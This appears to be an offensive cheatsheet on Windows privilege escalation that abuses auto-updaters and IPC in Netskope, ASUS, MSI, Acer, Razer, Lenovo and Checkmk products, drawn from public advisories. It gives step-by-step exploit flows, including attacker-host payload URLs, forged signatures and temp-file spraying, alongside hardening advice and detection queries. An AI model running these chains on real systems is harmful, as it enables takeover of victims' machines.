daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

abusing-auto-updaters-and-ipc.md (30355B)


      1 ---
      2 title: "Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope, ASUS & MSI)"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope, ASUS & MSI)
     14 
     15 This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low-friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low-privileged user can coerce enrollment into an attacker-controlled server and then deliver a malicious MSI that the SYSTEM service installs.<sup>[[1]](#references)[[2]](#references)[[5]](#references)</sup>
     16 
     17 Key ideas you can reuse against similar products:
     18 - Abuse a privileged service’s localhost IPC to force re-enrollment or reconfiguration to an attacker server.
     19 - Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
     20 - Evade weak signer checks (CN allow-lists), optional digest flags, and lax MSI properties.
     21 - If IPC is “encrypted”, derive the key/IV from world-readable machine identifiers stored in the registry.
     22 - If the service restricts callers by image path/process name, inject into an allow-listed process or spawn one suspended and bootstrap your DLL via a minimal thread-context patch.
     23 
     24 ---
     25 ## 1) Forcing enrollment to an attacker server via localhost IPC
     26 
     27 Many agents ship a user-mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
     28 
     29 Observed in Netskope:
     30 - UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
     31 - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
     32 
     33 Exploit flow:
     34 1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
     35 2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
     36 
     37 ```json
     38 {
     39   "148": {
     40     "idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
     41     "tenantName": "TestOrg"
     42   }
     43 }
     44 ```
     45 
     46 3) The service starts hitting your rogue server for enrollment/config, e.g.:
     47 - /v1/externalhost?service=enrollment
     48 - /config/user/getbrandingbyemail
     49 
     50 Notes:
     51 - If caller verification is path/name-based, originate the request from an allow-listed vendor binary (see §4).<sup>[[1]](#references)[[2]](#references)</sup>
     52 
     53 ---
     54 ## 2) Hijacking the update channel to run code as SYSTEM
     55 
     56 Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:
     57 
     58 1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
     59 ```json
     60 {
     61   "clientUpdate": { "updateIntervalInMin": 1 },
     62   "check_msi_digest": false
     63 }
     64 ```
     65 2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
     66 3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
     67 
     68 Bypassing common checks seen in the wild:
     69 - Signer CN allow-list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI.
     70 - CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install.
     71 - Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation.
     72 
     73 Result: the SYSTEM service installs your MSI from
     74 C:\ProgramData\Netskope\stAgent\data\*.msi
     75 executing arbitrary code as NT AUTHORITY\SYSTEM.<sup>[[1]](#references)[[2]](#references)</sup>
     76 
     77 Patch-bypass lesson: if a vendor responds by allow-listing a small set of “trusted” domains instead of cryptographically authenticating the update source, look for vendor-owned redirectors or reverse proxies that still let you steer traffic. In Netskope's case, public follow-up research showed that an R129-era allow-list could still be abused through `rproxy.goskope.com`, which proxied attacker-controlled Azure App Service content. Treat hostname allow-lists as a speed bump, not as a trust boundary.<sup>[[14]](#references)</sup>
     78 
     79 ---
     80 ## 3) Forging encrypted IPC requests (when present)
     81 
     82 From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
     83 - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
     84 - IV  = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
     85 
     86 Attackers can reproduce encryption and send valid encrypted commands from a standard user.<sup>[[1]](#references)[[2]](#references)</sup> General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.
     87 
     88 ---
     89 ## 4) Bypassing IPC caller allow-lists (path/name checks)
     90 
     91 Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow-listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
     92 
     93 Two practical bypasses:
     94 - DLL injection into an allow-listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
     95 - Spawn an allow-listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver-enforced tamper rules.<sup>[[1]](#references)[[2]](#references)</sup>
     96 
     97 ---
     98 ## 5) Tamper-protection friendly injection: suspended process + NtContinue patch
     99 
    100 Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
    101 - Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
    102 - Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
    103 
    104 A reliable user-mode loader that respects these constraints:
    105 1) CreateProcess of a vendor binary with CREATE_SUSPENDED.
    106 2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
    107 3) Overwrite ntdll!NtContinue (or other early, guaranteed-mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
    108 4) ResumeThread to trigger your stub in-process, loading your DLL.
    109 
    110 Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already-protected process (you created it), the driver’s policy is satisfied.<sup>[[1]](#references)[[2]](#references)</sup>
    111 
    112 ---
    113 ## 6) Practical tooling
    114 - NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.<sup>[[3]](#references)</sup>
    115 - UpSkope is a custom IPC client that crafts arbitrary (optionally AES-encrypted) IPC messages and includes the suspended-process injection to originate from an allow-listed binary.<sup>[[4]](#references)</sup>
    116 
    117 ## 7) Fast triage workflow for unknown updater/IPC surfaces
    118 
    119 When facing a new endpoint agent or motherboard “helper” suite, a quick workflow is usually enough to tell whether you are looking at a promising privesc target:<sup>[[6]](#references)</sup>
    120 
    121 1) Enumerate loopback listeners and map them back to vendor processes:
    122 
    123 ```powershell
    124 Get-NetTCPConnection -State Listen |
    125   Where-Object {$_.LocalAddress -in @('127.0.0.1', '::1', '0.0.0.0', '::')} |
    126   Select-Object LocalAddress,LocalPort,OwningProcess,
    127     @{n='Process';e={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Path}}
    128 ```
    129 
    130 2) Enumerate candidate named pipes:
    131 
    132 ```powershell
    133 [System.IO.Directory]::GetFiles("\\.\pipe\") | Select-String -Pattern 'asus|msi|razer|acer|agent|update'
    134 ```
    135 
    136 3) Mine registry-backed routing data used by plugin-based IPC servers:
    137 
    138 ```powershell
    139 Get-ChildItem 'HKLM:\SOFTWARE\WOW6432Node\MSI\MSI Center\Component' |
    140   Select-Object PSChildName
    141 ```
    142 
    143 4) Extract endpoint names, JSON keys, and command IDs from the user-mode client first. Packed Electron/.NET frontends frequently leak the full schema:
    144 
    145 ```powershell
    146 Select-String -Path 'C:\Program Files\Vendor\**\*.js','C:\Program Files\Vendor\**\*.dll' `
    147   -Pattern '127.0.0.1|localhost|UpdateApp|checkupdate|NamedPipe|LaunchProcess|Origin'
    148 ```
    149 
    150 5) Hunt for the actual trust predicate, not just the code path that eventually launches the process:
    151 
    152 ```powershell
    153 Select-String -Path 'C:\Program Files\Vendor\**\*.exe','C:\Program Files\Vendor\**\*.dll','C:\Program Files\Vendor\**\*.js' `
    154   -Pattern 'WinVerifyTrust|CryptQueryObject|Origin|Referer|Subject|CN=|ExecuteTask|LaunchProcess|CreateProcessAsUser'
    155 ```
    156 
    157 Patterns worth prioritizing:
    158 - `CryptQueryObject`/certificate parsing without `WinVerifyTrust` usually means “certificate exists” was treated as “certificate is trusted”, enabling certificate cloning or other fake-signer tricks.
    159 - Substring/suffix checks over `Origin`, `Referer`, download URLs, process names, or signer CNs are not authentication. `contains(".vendor.com")` is usually exploitable with attacker-controlled lookalike domains.
    160 - If the low-privileged GUI decides “the file is trusted” and the SYSTEM broker merely consumes that result, patching or reimplementing the client-side DLL/JS often bypasses the boundary entirely (Razer-style split validation).
    161 - If the broker copies a payload to `%TEMP%`/`C:\Windows\Temp` and then validates or schedules it from that path, immediately test for TOCTOU replacement windows and for sibling plugin modules that expose alternate `ExecuteTask()` wrappers with weaker checks.<sup>[[6]](#references)</sup>
    162 
    163 For named-pipe-heavy targets, PipeViewer is a quick way to spot weak DACLs and remotely reachable pipes before you start reversing the protocol in depth.<sup>[[11]](#references)</sup>
    164 
    165 If the target authenticates callers only by PID, image path, or process name, treat that as a speed bump rather than a boundary: injecting into the legitimate client, or making the connection from an allow-listed process, is often enough to satisfy the server’s checks. For named pipes specifically, [this page about client impersonation and pipe abuse](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation) covers the primitive in more depth.
    166 
    167 ---
    168 ## 8) Modular add-in brokers authenticated only by vendor signatures (Lenovo Vantage pattern)
    169 
    170 A newer variation worth hunting is the **signed-client RPC broker**: a low-privileged Lenovo-signed desktop process talks to a SYSTEM service, and the service routes JSON commands into a set of XML-described add-ins under `%ProgramData%`. Once code execution is achieved **inside any accepted signed client**, every `runas="system"` contract becomes part of your attack surface.<sup>[[15]](#references)</sup>
    171 
    172 High-value primitives observed in Lenovo Vantage research:
    173 - **Trusting the caller because it is signed by the vendor**: researchers reached an authenticated context by copying a Lenovo-signed EXE to a writable directory and satisfying a DLL side-load (`profapi.dll`) so arbitrary code ran inside a client the service already trusted.
    174 - **Manifest-driven attack surface discovery**: add-ins are declared under `C:\ProgramData\Lenovo\Vantage\Addins\*.xml`; several contracts run as `SYSTEM`, so enumerating those manifests often reveals the real privileged verbs faster than reversing the broker itself.
    175 - **Per-command bugs behind the authenticated channel**: once inside the trusted client, public research found path-traversal + race conditions in update/install verbs, raw-SQL abuse in privileged settings databases, and substring-based registry path checks that enabled writes outside the intended hive.
    176 
    177 Useful recon on a target:
    178 
    179 ```powershell
    180 Get-ChildItem "$env:ProgramData\Lenovo\Vantage\Addins" -Filter *.xml |
    181   Select-String -Pattern 'runas="system"|<name>|<namespace>'
    182 ```
    183 
    184 ```powershell
    185 Select-String -Path 'C:\Program Files\Lenovo\**\*.dll','C:\Program Files\Lenovo\**\*.exe' `
    186   -Pattern 'contract|command|payload|DeleteTable|DeleteSetting|Set-KeyChildren|DownloadAndInstallAppComponent|InstallOnly'
    187 ```
    188 
    189 Practical takeaway: whenever a helper suite exposes a broker that first authenticates the **caller process** and only then dispatches into dozens of plugin/add-in commands, do not stop after bypassing the front-door trust check. Dump the manifest/contract table and fuzz each high-privilege verb independently; the authenticated channel usually hides several second-stage bugs.
    190 
    191 ---
    192 ## 1) Browser-to-localhost CSRF against privileged HTTP APIs (ASUS DriverHub)
    193 
    194 DriverHub ships a user-mode HTTP service (ADU.exe) on 127.0.0.1:53000 that expects browser calls coming from https://driverhub.asus.com. The origin filter simply performs `string_contains(".asus.com")` over the Origin header and over download URLs exposed by `/asus/v1.0/*`. Any attacker-controlled host such as `https://driverhub.asus.com.attacker.tld` therefore passes the check and can issue state-changing requests from JavaScript.<sup>[[6]](#references)</sup> See [CSRF basics](/hacktricks/pentesting-web/csrf-cross-site-request-forgery) for additional bypass patterns.
    195 
    196 Practical flow:
    197 1) Register a domain that embeds `.asus.com` and host a malicious webpage there.
    198 2) Use `fetch` or XHR to call a privileged endpoint (e.g., `Reboot`, `UpdateApp`) on `http://127.0.0.1:53000`.
    199 3) Send the JSON body expected by the handler – the packed frontend JS shows the schema below.
    200 
    201 ```javascript
    202 fetch("http://127.0.0.1:53000/asus/v1.0/Reboot", {
    203   method: "POST",
    204   headers: { "Content-Type": "application/json" },
    205   body: JSON.stringify({ Event: [{ Cmd: "Reboot" }] })
    206 });
    207 ```
    208 
    209 Even the PowerShell CLI shown below succeeds when the Origin header is spoofed to the trusted value:
    210 
    211 ```powershell
    212 Invoke-WebRequest -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" -Method Post \
    213   -Headers @{Origin="https://driverhub.asus.com"; "Content-Type"="application/json"} \
    214   -Body (@{Event=@(@{Cmd="Reboot"})}|ConvertTo-Json)
    215 ```
    216 
    217 Any browser visit to the attacker site therefore becomes a 1-click (or 0-click via `onload`) local CSRF that drives a SYSTEM helper.
    218 
    219 ---
    220 ## 2) Insecure code-signing verification & certificate cloning (ASUS UpdateApp)
    221 
    222 `/asus/v1.0/UpdateApp` downloads arbitrary executables defined in the JSON body and caches them in `C:\ProgramData\ASUS\AsusDriverHub\SupportTemp`. Download URL validation reuses the same substring logic, so `http://updates.asus.com.attacker.tld:8000/payload.exe` is accepted. After download, ADU.exe merely checks that the PE contains a signature and that the Subject string matches ASUS before running it – no `WinVerifyTrust`, no chain validation.
    223 
    224 To weaponize the flow:
    225 1) Create a payload (e.g., `msfvenom -p windows/exec CMD=notepad.exe -f exe -o payload.exe`).
    226 2) Clone ASUS’s signer into it (e.g., `python sigthief.py -i ASUS-DriverHub-Installer.exe -t payload.exe -o pwn.exe`).
    227 3) Host `pwn.exe` on a `.asus.com` lookalike domain and trigger UpdateApp via the browser CSRF above.
    228 
    229 Because both the Origin and URL filters are substring-based and the signer check only compares strings, DriverHub pulls and executes the attacker binary under its elevated context.<sup>[[6]](#references)</sup>
    230 
    231 ---
    232 ## 1) TOCTOU inside updater copy/execute paths (MSI Center CMD_AutoUpdateSDK)
    233 
    234 MSI Center’s SYSTEM service exposes a TCP protocol where each frame is `4-byte ComponentID || 8-byte CommandID || ASCII arguments`. The core component (Component ID `0f 27 00 00`) ships `CMD_AutoUpdateSDK = {05 03 01 08 FF FF FF FC}`. Its handler:
    235 1) Copies the supplied executable to `C:\Windows\Temp\MSI Center SDK.exe`.
    236 2) Verifies the signature via `CS_CommonAPI.EX_CA::Verify` (certificate subject must equal “MICRO-STAR INTERNATIONAL CO., LTD.” and `WinVerifyTrust` succeeds).
    237 3) Creates a scheduled task that runs the temp file as SYSTEM with attacker-controlled arguments.
    238 
    239 The copied file is not locked between verification and `ExecuteTask()`. An attacker can:
    240 - Send Frame A pointing to a legitimate MSI-signed binary (guarantees the signature check passes and the task is queued).
    241 - Race it with repeated Frame B messages that point to a malicious payload, overwriting `MSI Center SDK.exe` just after verification completes.
    242 
    243 When the scheduler fires, it executes the overwritten payload under SYSTEM despite having validated the original file. Reliable exploitation uses two goroutines/threads that spam CMD_AutoUpdateSDK until the TOCTOU window is won.<sup>[[6]](#references)</sup>
    244 
    245 ---
    246 ## 2) Abusing custom SYSTEM-level IPC & impersonation (MSI Center + Acer Control Centre)
    247 
    248 ### MSI Center TCP command sets
    249 - Every plugin/DLL loaded by `MSI.CentralServer.exe` receives a Component ID stored under `HKLM\SOFTWARE\MSI\MSI_CentralServer`. The first 4 bytes of a frame select that component, allowing attackers to route commands to arbitrary modules.
    250 - Plugins can define their own task runners. `Support\API_Support.dll` exposes `CMD_Common_RunAMDVbFlashSetup = {05 03 01 08 01 00 03 03}` and directly calls `API_Support.EX_Task::ExecuteTask()` with **no signature validation** – any local user can point it at `C:\Users\<user>\Desktop\payload.exe` and get SYSTEM execution deterministically.
    251 - Sniffing loopback with Wireshark or instrumenting the .NET binaries in dnSpy quickly reveals the Component ↔ command mapping; custom Go/ Python clients can then replay frames.<sup>[[6]](#references)</sup>
    252 
    253 ### Acer Control Centre named pipes & impersonation levels
    254 - `ACCSvc.exe` (SYSTEM) exposes `\\.\pipe\treadstone_service_LightMode`, and its discretionary ACL allows remote clients (e.g., `\\TARGET\pipe\treadstone_service_LightMode`). Sending command ID `7` with a file path invokes the service’s process-spawning routine.
    255 - The client library serializes a magic terminator byte (113) along with args. Dynamic instrumentation with Frida/`TsDotNetLib` (see [Reversing Tools & Basic Methods](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/reversing/reversing-tools-basic-methods/README.md) for instrumentation tips) shows that the native handler maps this value to a `SECURITY_IMPERSONATION_LEVEL` and integrity SID before calling `CreateProcessAsUser`.
    256 - Swapping 113 (`0x71`) for 114 (`0x72`) drops into the generic branch that keeps the full SYSTEM token and sets a high-integrity SID (`S-1-16-12288`). The spawned binary therefore runs as unrestricted SYSTEM, both locally and cross-machine.
    257 - Combine that with the exposed installer flag (`Setup.exe -nocheck`) to stand up ACC even on lab VMs and exercise the pipe without vendor hardware.<sup>[[6]](#references)</sup>
    258 
    259 These IPC bugs highlight why localhost services must enforce mutual authentication (ALPC SIDs, `ImpersonationLevel=Impersonation` filters, token filtering) and why every module’s “run arbitrary binary” helper must share the same signer verifications.
    260 
    261 ---
    262 ## 3) COM/IPC “elevator” helpers backed by weak user-mode validation (Razer Synapse 4)
    263 
    264 Razer Synapse 4 added another useful pattern to this family: a low-privileged user can ask a COM helper to launch a process through `RzUtility.Elevator`, while the trust decision is delegated to a user-mode DLL (`simple_service.dll`) rather than being enforced robustly inside the privileged boundary.
    265 
    266 Observed exploitation path:
    267 - Instantiate the COM object `RzUtility.Elevator`.
    268 - Call `LaunchProcessNoWait(<path>, "", 1)` to request an elevated launch.
    269 - In the public PoC, the PE-signature gate inside `simple_service.dll` is patched out before issuing the request, allowing an arbitrary attacker-chosen executable to be launched.<sup>[[6]](#references)[[10]](#references)</sup>
    270 
    271 Minimal PowerShell invocation:
    272 
    273 ```powershell
    274 $com = New-Object -ComObject 'RzUtility.Elevator'
    275 $com.LaunchProcessNoWait("C:\Users\Public\payload.exe", "", 1)
    276 ```
    277 
    278 General takeaway: when reversing “helper” suites, do not stop at localhost TCP or named pipes. Check for COM classes with names such as `Elevator`, `Launcher`, `Updater`, or `Utility`, then verify whether the privileged service actually validates the target binary itself or merely trusts a result computed by a patchable user-mode client DLL. This pattern generalizes beyond Razer: any split design where the high-privilege broker consumes an allow/deny decision from the low-privilege side is a candidate privesc surface.
    279 
    280 
    281 ---
    282 ## Predictable temp script execution during MSI repair (Checkmk Agent / CVE-2024-0670)
    283 
    284 Some Windows agents still implement privileged actions by writing a temporary `.cmd` into `C:\Windows\Temp` and executing it as `SYSTEM`. If the filename is predictable and the service doesn't safely recreate existing files, a low-privileged user can pre-create the future temp file as **read-only** and make the privileged process execute attacker-controlled content instead of its own script.
    285 
    286 Observed in vulnerable Checkmk Agent builds:
    287 - temp pattern: `cmk_all_<PID>_1.cmd`
    288 - affected branches: `2.0.0`, `2.1.0`, `2.2.0`
    289 - trigger: MSI **repair** of the cached agent package<sup>[[8]](#references)[[9]](#references)</sup>
    290 
    291 Practical workflow:
    292 1. Estimate a realistic PID range from current process IDs or the running agent PID.
    293 2. Write a short **ASCII** `.cmd` payload (`Set-Content -Encoding Ascii` or `cmd.exe` redirection; avoid UTF-16 PowerShell output for batch files).
    294 3. Spray `C:\Windows\Temp\cmk_all_<PID>_1.cmd` across the candidate range and mark each file read-only.
    295 4. Trigger a repair of the cached MSI so the privileged service attempts to regenerate and then executes the temp script.<sup>[[7]](#references)</sup>
    296 
    297 ```powershell
    298 Set-Content -Path C:\ProgramData\payload.cmd -Encoding Ascii -Value "@echo off`nwhoami > C:\ProgramData\proof.txt"
    299 1..10000 | ForEach-Object {
    300   Copy-Item C:\ProgramData\payload.cmd "C:\Windows\Temp\cmk_all_${_}_1.cmd"
    301   Set-ItemProperty "C:\Windows\Temp\cmk_all_${_}_1.cmd" -Name IsReadOnly -Value $true
    302 }
    303 ```
    304 
    305 If the vulnerable product is installed with Windows Installer, map the random-looking cached MSI under `C:\Windows\Installer` back to its product name before triggering the repair:<sup>[[7]](#references)</sup>
    306 
    307 ```powershell
    308 Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" |
    309   ForEach-Object {
    310     $p = Get-ItemProperty $_.PSPath
    311     [PSCustomObject]@{Name=$p.DisplayName; Pkg=$p.LocalPackage}
    312   } | Where-Object Name -like "*Check MK Agent*"
    313 
    314 msiexec /fa C:\Windows\Installer\<cached-agent>.msi
    315 ```
    316 
    317 Operational notes:
    318 - `qwinsta` is useful when `msiexec /fa` fails from a non-interactive WinRM shell and you need to understand whether an existing desktop/disconnected session can trigger the repair correctly.<sup>[[7]](#references)</sup>
    319 - This pattern generalizes to other endpoint agents and updaters that **stage temp scripts in world-writable locations and later execute them as SYSTEM**. Test for predictable names, missing exclusive create semantics, and repair/update flows that can be triggered on demand.
    320 
    321 ---
    322 ## Remote supply-chain hijack via weak updater validation (WinGUp / Notepad++)
    323 
    324 Between June 2025 and December 2025, attackers who compromised the hosting infrastructure behind the Notepad++ update flow selectively served malicious manifests to chosen victims. Older WinGUp-based updaters did not fully verify update authenticity, so a hostile XML response could redirect clients to attacker-controlled URLs. Because the client accepted HTTPS content without enforcing both a trusted certificate chain and a valid PE signature on the downloaded installer, victims fetched and executed a trojanized NSIS `update.exe`.<sup>[[12]](#references)[[13]](#references)</sup>
    325 
    326 Operational flow (no local exploit required):
    327 1. **Infrastructure interception**: compromise CDN/hosting and answer update checks with attacker metadata pointing at a malicious download URL.
    328 2. **Trojanized NSIS**: the installer fetches/executes a payload and abuses two execution chains:
    329    - **Bring-your-own signed binary + sideload**: bundle the signed Bitdefender `BluetoothService.exe` and drop a malicious `log.dll` in its search path. When the signed binary runs, Windows sideloads `log.dll`, which decrypts and reflectively loads the Chrysalis backdoor (Warbird-protected + API hashing to hinder static detection).
    330    - **Scripted shellcode injection**: NSIS executes a compiled Lua script that uses Win32 APIs (e.g., `EnumWindowStationsW`) to inject shellcode and stage Cobalt Strike Beacon.<sup>[[12]](#references)</sup>
    331 
    332 Hardening/detection takeaways for any auto-updater:
    333 - Enforce **certificate + signature verification** of the downloaded installer (pin vendor signer, reject mismatched CN/chain) and sign the update manifest itself (e.g., XMLDSig). Block manifest-controlled redirects unless validated.
    334 - Treat **BYO signed binary sideloading** as a post-download detection pivot: alert when a signed vendor EXE loads a DLL name from outside its canonical install path (e.g., Bitdefender loading `log.dll` from Temp/Downloads) and when an updater drops/executes installers from temp with non-vendor signatures.
    335 - Monitor **malware-specific artifacts** observed in this chain (useful as generic pivots): mutex `Global\Jdhfv_1.0.1`, anomalous `gup.exe` writes to `%TEMP%`, and Lua-driven shellcode injection stages.
    336 - Notepad++ responded by strengthening WinGUp in v8.8.9 and later: the returned XML is now signed (XMLDSig), and newer builds enforce certificate + signature verification of the downloaded installer instead of trusting the transport alone.<sup>[[13]](#references)</sup>
    337 
    338 <details>
    339 <summary>Cortex XDR XQL – Bitdefender-signed EXE sideloading <code>log.dll</code> (T1574.001)</summary>
    340 
    341 ```sql
    342 // Identifies Bitdefender-signed processes loading log.dll outside vendor paths
    343 config case_sensitive = false
    344 | dataset = xdr_data
    345 | fields actor_process_signature_vendor, actor_process_signature_product, action_module_path, actor_process_image_path, actor_process_image_sha256, agent_os_type, event_type, event_id, agent_hostname, _time, actor_process_image_name
    346 | filter event_type = ENUM.LOAD_IMAGE and agent_os_type = ENUM.AGENT_OS_WINDOWS
    347 | filter actor_process_signature_vendor contains "Bitdefender SRL" and action_module_path contains "log.dll"
    348 | filter actor_process_image_path not contains "Program Files\\Bitdefender"
    349 | filter not actor_process_image_name in ("eps.rmm64.exe", "downloader.exe", "installer.exe", "epconsole.exe", "EPHost.exe", "epintegrationservice.exe", "EPPowerConsole.exe", "epprotectedservice.exe", "DiscoverySrv.exe", "epsecurityservice.exe", "EPSecurityService.exe", "epupdateservice.exe", "testinitsigs.exe", "EPHost.Integrity.exe", "WatchDog.exe", "ProductAgentService.exe", "EPLowPrivilegeWorker.exe", "Product.Configuration.Tool.exe", "eps.rmm.exe")
    350 ```
    351 
    352 </details>
    353 
    354 <details>
    355 <summary>Cortex XDR XQL – <code>gup.exe</code> launching a non-Notepad++ installer</summary>
    356 
    357 ```sql
    358 config case_sensitive = false
    359 | dataset = xdr_data
    360 | filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START and _product = "XDR agent" and _vendor = "PANW"
    361 | filter lowercase(actor_process_image_name) = "gup.exe" and actor_process_signature_status not in (null, ENUM.UNSUPPORTED, ENUM.FAILED_TO_OBTAIN ) and action_process_signature_status not in (null, ENUM.UNSUPPORTED, ENUM.FAILED_TO_OBTAIN )
    362 | filter lowercase(action_process_image_name) ~= "(npp[\.\d]+?installer)"
    363 | filter action_process_signature_status != ENUM.SIGNED or lowercase(action_process_signature_vendor) != "notepad++"
    364 ```
    365 
    366 </details>
    367 
    368 These patterns generalize to any updater that accepts unsigned manifests or fails to pin installer signers—network hijack + malicious installer + BYO-signed sideloading yields remote code execution under the guise of “trusted” updates.
    369 
    370 ---
    371 ## References
    372 - [1] [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
    373 - [2] [Netskope Security Advisory NSKPSA-2025-002](https://www.netskope.com/resources/netskope-resources/netskope-security-advisory-nskpsa-2025-002)
    374 - [3] [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
    375 - [4] [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
    376 - [5] [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
    377 - [6] [SensePost – Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4](https://sensepost.com/blog/2025/pwning-asus-driverhub-msi-center-acer-control-centre-and-razer-synapse-4/)
    378 - [7] [0xdf – HTB: NanoCorp](https://0xdf.gitlab.io/2026/06/20/htb-nanocorp.html)
    379 - [8] [SEC Consult – Local Privilege Escalation via writable files in Checkmk Agent](https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/)
    380 - [9] [Checkmk Werk #16361 – Privilege escalation in Windows agent](https://checkmk.com/werk/16361)
    381 - [10] [sensepost/bloatware-pwn PoCs](https://github.com/sensepost/bloatware-pwn)
    382 - [11] [CyberArk PipeViewer](https://github.com/cyberark/PipeViewer)
    383 - [12] [Unit 42 – Nation-State Actors Exploit Notepad++ Supply Chain](https://unit42.paloaltonetworks.com/notepad-infrastructure-compromise/)
    384 - [13] [Notepad++ – hijacked infrastructure incident update](https://notepad-plus-plus.org/news/hijacked-incident-info-update/)
    385 - [14] [AmberWolf – Bypassing the fix for CVE-2025-0309 in Netskope Client for Windows](https://blog.amberwolf.com/blog/2026/march/patch-bypass---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
    386 - [15] [Atredis – Uncovering Privilege Escalation Bugs in Lenovo Vantage](https://www.atredis.com/blog/2025/7/7/uncovering-privilege-escalation-bugs-in-lenovo-vantage)